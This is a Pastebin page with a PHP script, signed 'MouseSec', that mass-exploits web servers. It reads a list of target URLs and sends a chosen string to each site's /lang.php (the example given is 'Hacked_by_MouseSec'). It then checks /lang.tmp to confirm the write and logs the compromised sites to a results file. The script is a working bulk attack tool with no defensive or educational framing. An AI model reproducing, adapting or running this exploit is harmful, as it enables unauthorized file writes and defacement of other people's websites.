Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- # Coded by MouseSec
- # twitter.com/mousesec_
- # http://site.com/[path]/ or http://site.com/xampp/
- # $ php file.php list.txt Hacked_by_MouseSec
- error_reporting(0);
- function curl($url) {
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
- $exec = curl_exec($ch);
- curl_close($ch);
- return $exec;
- }
- $os = strtolower(substr(PHP_OS,0, 5));
- if($os == "linux") {
- $cl = "\e[0m";
- $light_cyan = "\e[1;36m";
- $light_green = "\e[1;32m";
- $light_red = "\e[1;31m";
- $light_purple = "\e[1;35m";
- $yellow = "\e[1;33m";
- $green = "\e[0;32m";
- $red = "\e[0;31m";
- $blue = "\e[0;34m";
- }
- echo "\n";
- if(is_file($argv[1])) {
- $list = file($argv[1]);
- if(!empty($argv[2])) {
- $text = $argv[2];
- foreach ($list as $target) {
- $url = trim($target);
- $exploit = $url."/lang.php?".$text;
- $exec = curl($exploit);
- if(!$exec) {
- //
- } else {
- $check = curl($url."/lang.tmp");
- $pecah = explode("/", $url);
- $date = date("d-m-Y");
- if(preg_match("/".$text."/", $check)) {
- echo $red."[".$cl.$yellow."+".$cl.$red."]".$cl.$blue." ".$pecah[2]." ".$cl.$green."exploit success!".$cl."\n";
- @fwrite(fopen($date."-result.txt", "a"), $url."/lang.tmp\n");
- } else {
- echo $red."[".$cl.$yellow."+".$cl.$red."]".$cl.$blue." ".$pecah[2]." ".$cl.$red."exploit failed!".$cl."\n";
- }
- }
- }
- echo $red."\n[".$cl.$yellow."+".$cl.$red."]".$cl.$green." Result saved on: ".$date."-result.txt!".$cl."\n\n";
- } else {
- echo "please input text!\n";
- }
- } else {
- echo "no list inputed!\n";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement